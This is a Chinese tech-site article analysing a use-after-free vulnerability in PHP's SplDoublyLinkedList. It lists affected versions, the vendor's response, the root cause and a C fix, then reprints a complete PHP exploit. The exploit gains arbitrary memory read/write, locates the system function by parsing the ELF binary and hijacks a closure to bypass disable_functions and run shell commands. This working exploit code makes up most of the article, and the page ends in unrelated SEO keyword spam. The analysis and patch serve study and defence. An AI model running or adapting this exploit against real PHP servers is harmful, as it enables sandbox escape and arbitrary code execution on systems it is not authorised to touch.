千家信息网

PHP SplDoublyLinkedList中的用后释放漏洞的示例分析

发表于:2026-11-01 作者:千家信息网编辑
千家信息网最后更新 2026年11月01日,这期内容当中小编将会给大家带来有关PHP SplDoublyLinkedList中的用后释放漏洞的示例分析,文章内容丰富且以专业的角度为大家分析和叙述,阅读完这篇文章希望大家可以有所收获。漏洞描述PH
千家信息网最后更新 2026年11月01日PHP SplDoublyLinkedList中的用后释放漏洞的示例分析

这期内容当中小编将会给大家带来有关PHP SplDoublyLinkedList中的用后释放漏洞的示例分析,文章内容丰富且以专业的角度为大家分析和叙述,阅读完这篇文章希望大家可以有所收获。

漏洞描述

PHP的SplDoublyLinkedList双向链表库中存在一个用后释放漏洞,该漏洞将允许攻击者通过运行PHP代码来转义disable_functions限制函数。在该漏洞的帮助下,远程攻击者将能够实现PHP沙箱逃逸,并执行任意代码。更准确地来说,成功利用该漏洞后,攻击者将能够绕过PHP的某些限制,例如disable_functions和safe_mode等等。

受影响版本

  • PHP v8.0(Alpha);

  • PHP v7.4.10及其之前版本;

厂商回应

根据我们的安全分类,我们认为这并非一个安全问题,因为它需要在服务器端执行非常特殊的代码才能够触发该漏洞。如果攻击者能够实现代码注入,那么肯定是由一个比该漏洞更加严重的漏洞存在所导致的。

漏洞分析

SplDoublyLinkedList是PHP中的一个双向链表库(DLL),这个库支持进行迭代,即能够存储一个指针指向当前的DLL元素以实现迭代。这样一来,开发人员就可以通过调用next()和prev()来让DLL指向其他的元素了。

当我们删除DLL中的某个元素之后,PHP将从DLL中移除该元素,然后销毁掉zval,如果指针指向该元素的话,那么就存在空指针问题了。因此,当zval被销毁之后,当前指针仍然指向相关联元素,即使其已经被从链表中移除了。这样一来,用后释放问题便出现了,因为我们可以通过在zval的构造器中调用$dll->next()或$dll->prev()来触发该漏洞。

利用输入参数触发漏洞

我们可以使用两个值来创建一个SplDoublyLinkedList对象$s,第一个值是一个带有特殊结构体__destruct 的对象,另一个值我们不用理会。接下来,我们可以调用$s->rewind()来让当前迭代元素的指针指向我们的对象。当我们调用$s->offsetUnset(0)时,它将会调用底层C函数SPL_METHOD(SplDoublyLinkedList, offsetUnset)(该函数存在于ext/spl/spl_dllist.c中),这个函数将完成以下几件事情:

1、通过设置下列参数将元素从双线链表中移除:

element->prev->next = element->nextelement->next->prev = element->prev

2、销毁相关的zval(llist->dtor);

3、如果intern->traverse_pointer指向目标元素,它会将指针设置为NULL;

在第二步中,会调用我们对象的__destruct方法,而intern->traverse_pointer仍然会指向该元素。为了触发用后释放问题,我们需要做下列几件事情:

  • 通过调用$s->offsetUnset(0)来移除双向链表中的第二个元素,让intern->traverse_pointer->next指向一个未分配的空间;

  • 调用$s->next():调用链为intern->traverse_pointer = intern->traverse_pointer->next。由于该地址已在第一步被释放,那么traverse_pointer将指向一个未分配的地址;

  • 使用$s->current(),我们将能够访问未分配的地址,从而触发用后释放漏洞;

漏洞修复

需要在销毁zval之前清理掉intern->traverse_pointer指针,随后删除相关的引用。参考代码如下:

was_traverse_pointer = 0;         // Clear the current pointer        if (intern->traverse_pointer == element) {            intern->traverse_pointer = NULL;            was_traverse_pointer = 1;        }         if(llist->dtor) {            llist->dtor(element);        }         if(was_traverse_pointer) {            SPL_LLIST_DELREF(element);        }         // In the current implementation, this part is useless, because        // llist->dtor will UNDEF the zval before        zval_ptr_dtor(&element->data);        ZVAL_UNDEF(&element->data);         SPL_LLIST_DELREF(element);

利用演示

漏洞利用

next() or# $dll->prev() in the zval's destructor.# # error_reporting(E_ALL); define('NB_DANGLING', 200);define('SIZE_ELEM_STR', 40 - 24 - 1);define('STR_MARKER', 0xcf5ea1); function i2s(&$s, $p, $i, $x=8){    for($j=0;$j<$x;$j++)    {        $s[$p+$j] = chr($i & 0xff);        $i >>= 8;    }}  function s2i(&$s, $p, $x=8){    $i = 0;     for($j=$x-1;$j>=0;$j--)    {        $i <<= 8;        $i |= ord($s[$p+$j]);    }     return $i;}  class UAFTrigger{    function __destruct()    {        global $dlls, $strs, $rw_dll, $fake_dll_element, $leaked_str_offsets;         #"print('UAF __destruct: ' . "\n");        $dlls[NB_DANGLING]->offsetUnset(0);               # At this point every $dll->current points to the same freed chunk. We allocate        # that chunk with a string, and fill the zval part        $fake_dll_element = str_shuffle(str_repeat('A', SIZE_ELEM_STR));        i2s($fake_dll_element, 0x00, 0x12345678); # ptr        i2s($fake_dll_element, 0x08, 0x00000004, 7); # type + other stuff               # Each of these dlls current->next pointers point to the same location,        # the string we allocated. When calling next(), our fake element becomes        # the current value, and as such its rc is incremented. Since rc is at        # the same place as zend_string.len, the length of the string gets bigger,        # allowing to R/W any part of the following memory        for($i = 0; $i <= NB_DANGLING; $i++)            $dlls[$i]->next();         if(strlen($fake_dll_element) <= SIZE_ELEM_STR)            die('Exploit failed: fake_dll_element did not increase in size');               $leaked_str_offsets = [];        $leaked_str_zval = [];         # In the memory after our fake element, that we can now read and write,        # there are lots of zend_string chunks that we allocated. We keep three,        # and we keep track of their offsets.        for($offset = SIZE_ELEM_STR + 1; $offset <= strlen($fake_dll_element) - 40; $offset += 40)        {            # If we find a string marker, pull it from the string list            if(s2i($fake_dll_element, $offset + 0x18) == STR_MARKER)            {                $leaked_str_offsets[] = $offset;                $leaked_str_zval[] = $strs[s2i($fake_dll_element, $offset + 0x20)];                if(count($leaked_str_zval) == 3)                    break;            }        }         if(count($leaked_str_zval) != 3)            die('Exploit failed: unable to leak three zend_strings');               # free the strings, except the three we need        $strs = null;         # Leak adress of first chunk        unset($leaked_str_zval[0]);        unset($leaked_str_zval[1]);        unset($leaked_str_zval[2]);        $first_chunk_addr = s2i($fake_dll_element, $leaked_str_offsets[1]);         # At this point we have 3 freed chunks of size 40, which we can read/write,        # and we know their address.        print('Address of first RW chunk: 0x' . dechex($first_chunk_addr) . "\n");         # In the third one, we will allocate a DLL element which points to a zend_array        $rw_dll->push([3]);        $array_addr = s2i($fake_dll_element, $leaked_str_offsets[2] + 0x18);        # Change the zval type from zend_object to zend_string        i2s($fake_dll_element, $leaked_str_offsets[2] + 0x20, 0x00000006);        if(gettype($rw_dll[0]) != 'string')            die('Exploit failed: Unable to change zend_array to zend_string');               # We can now read anything: if we want to read 0x11223300, we make zend_string*        # point to 0x11223300-0x10, and read its size using strlen()         # Read zend_array->pDestructor        $zval_ptr_dtor_addr = read($array_addr + 0x30);            print('Leaked zval_ptr_dtor address: 0x' . dechex($zval_ptr_dtor_addr) . "\n");         # Use it to find zif_system        $system_addr = get_system_address($zval_ptr_dtor_addr);        print('Got PHP_FUNCTION(system): 0x' . dechex($system_addr) . "\n");               # In the second freed block, we create a closure and copy the zend_closure struct        # to a string        $rw_dll->push(function ($x) {});        $closure_addr = s2i($fake_dll_element, $leaked_str_offsets[1] + 0x18);        $data = str_shuffle(str_repeat('A', 0x200));         for($i = 0; $i < 0x138; $i += 8)        {            i2s($data, $i, read($closure_addr + $i));        }               # Change internal func type and pointer to make the closure execute system instead        i2s($data, 0x38, 1, 4);        i2s($data, 0x68, $system_addr);               # Push our string, which contains a fake zend_closure, in the last freed chunk that        # we control, and make the second zval point to it.        $rw_dll->push($data);        $fake_zend_closure = s2i($fake_dll_element, $leaked_str_offsets[0] + 0x18) + 24;        i2s($fake_dll_element, $leaked_str_offsets[1] + 0x18, $fake_zend_closure);        print('Replaced zend_closure by the fake one: 0x' . dechex($fake_zend_closure) . "\n");               # Calling it now               print('Running system("id");' . "\n");        $rw_dll[1]('id');         print_r('DONE'."\n");    }} class DanglingTrigger{    function __construct($i)    {        $this->i = $i;    }     function __destruct()    {        global $dlls;        #D print('__destruct: ' . $this->i . "\n");        $dlls[$this->i]->offsetUnset(0);        $dlls[$this->i+1]->push(123);        $dlls[$this->i+1]->offsetUnset(0);    }} class SystemExecutor extends ArrayObject{    function offsetGet($x)    {        parent::offsetGet($x);    }} /** * Reads an arbitrary address by changing a zval to point to the address minus 0x10, * and setting its type to zend_string, so that zend_string->len points to the value * we want to read. */function read($addr, $s=8){    global $fake_dll_element, $leaked_str_offsets, $rw_dll;     i2s($fake_dll_element, $leaked_str_offsets[2] + 0x18, $addr - 0x10);    i2s($fake_dll_element, $leaked_str_offsets[2] + 0x20, 0x00000006);     $value = strlen($rw_dll[0]);     if($s != 8)        $value &= (1 << ($s << 3)) - 1;     return $value;} function get_binary_base($binary_leak){    $base = 0;    $start = $binary_leak & 0xfffffffffffff000;    for($i = 0; $i < 0x1000; $i++)    {        $addr = $start - 0x1000 * $i;        $leak = read($addr, 7);        # ELF header        if($leak == 0x10102464c457f)            return $addr;    }    # We'll crash before this but it's clearer this way    die('Exploit failed: Unable to find ELF header');} function parse_elf($base){    $e_type = read($base + 0x10, 2);     $e_phoff = read($base + 0x20);    $e_phentsize = read($base + 0x36, 2);    $e_phnum = read($base + 0x38, 2);     for($i = 0; $i < $e_phnum; $i++) {        $header = $base + $e_phoff + $i * $e_phentsize;        $p_type  = read($header + 0x00, 4);        $p_flags = read($header + 0x04, 4);        $p_vaddr = read($header + 0x10);        $p_memsz = read($header + 0x28);         if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write            # handle pie            $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;            $data_size = $p_memsz;        } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec            $text_size = $p_memsz;        }    }     if(!$data_addr || !$text_size || !$data_size)        die('Exploit failed: Unable to parse ELF');     return [$data_addr, $text_size, $data_size];} function get_basic_funcs($base, $elf) {    list($data_addr, $text_size, $data_size) = $elf;    for($i = 0; $i < $data_size / 8; $i++) {        $leak = read($data_addr + $i * 8);        if($leak - $base > 0 && $leak < $data_addr) {            $deref = read($leak);            # 'constant' constant check            if($deref != 0x746e6174736e6f63)                continue;        } else continue;         $leak = read($data_addr + ($i + 4) * 8);        if($leak - $base > 0 && $leak < $data_addr) {            $deref = read($leak);            # 'bin2hex' constant check            if($deref != 0x786568326e6962)                continue;        } else continue;         return $data_addr + $i * 8;    }} function get_system($basic_funcs){    $addr = $basic_funcs;    do {        $f_entry = read($addr);        $f_name = read($f_entry, 6);         if($f_name == 0x6d6574737973) { # system            return read($addr + 8);        }        $addr += 0x20;    } while($f_entry != 0);    return false;} function get_system_address($binary_leak){    $base = get_binary_base($binary_leak);    print('ELF base: 0x' .dechex($base) . "\n");    $elf = parse_elf($base);    $basic_funcs = get_basic_funcs($base, $elf);    print('Basic functions: 0x' .dechex($basic_funcs) . "\n");    $zif_system = get_system($basic_funcs);    return $zif_system;} $dlls = [];$strs = [];$rw_dll = new SplDoublyLinkedList();  # Create a chain of dangling triggers, which will all in turn# free current->next, push an element to the next list, and free current# This will make sure that every current->next points the same memory block,# which we will UAF.for($i = 0; $i < NB_DANGLING; $i++){    $dlls[$i] = new SplDoublyLinkedList();    $dlls[$i]->push(new DanglingTrigger($i));    $dlls[$i]->rewind();} # We want our UAF'd list element to be before two strings, so that we can# obtain the address of the first string, and increase is size. We then have# R/W over all memory after the obtained address.define('NB_STRS', 50);for($i = 0; $i < NB_STRS; $i++){    $strs[] = str_shuffle(str_repeat('A', SIZE_ELEM_STR));    i2s($strs[$i], 0, STR_MARKER);    i2s($strs[$i], 8, $i, 7);} # Free one string in the middle, ...$strs[NB_STRS - 20] = 123;# ... and put the to-be-UAF'd list element instead.$dlls[0]->push(0); # Setup the last DLlist, which will exploit the UAF$dlls[NB_DANGLING] = new SplDoublyLinkedList();$dlls[NB_DANGLING]->push(new UAFTrigger());$dlls[NB_DANGLING]->rewind(); # Trigger the bug on the first list$dlls[0]->offsetUnset(0);

上述就是小编为大家分享的PHP SplDoublyLinkedList中的用后释放漏洞的示例分析了,如果刚好有类似的疑惑,不妨参照上述分析进行理解。如果想知道更多相关知识,欢迎关注行业资讯频道。

漏洞 元素 指向 指针 分析 代码 函数 对象 攻击者 问题 攻击 双向 分配 迭代 示例 特殊 安全 这样一来 一来 事情 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 华服互联网科技怎么样 蓝思科技飞鸽互联网 互联网为科技 关于新基建和互联网科技 麻工互联网科技 互联网科技视频 菲比寻常互联网科技 融贸通互联网科技 中盈科技互联网信息有限公司 互联网科技博主是什么意思 荆州市昕露互联网络科技有限公司 黑科技闪耀互联网之光 国大互联网教育科技有限公司工作 烟台灵鸽互联网科技有限公司 伊宁互联网科技做什么的 广州梦谷互联网科技有限公司领导 银川新华互联网科技学校原画 北京天晋互联网科技有限公司 上海互联网科技园景观 互联网科技创新方面的资料 科技赋能下的互联网金融 互联网科技集团 互联网公司会议桌创意科技软装饰 深圳市运趣互联网科技有限公司 岳阳华臻互联网科技有限公司 阿大互联网科技有限公司 朱啸虎曾投资哪些互联网科技企业 世界互联网领先科技成果获奖 银行科技岗属于互联网吗 九思连强互联网电子科技有限公司
0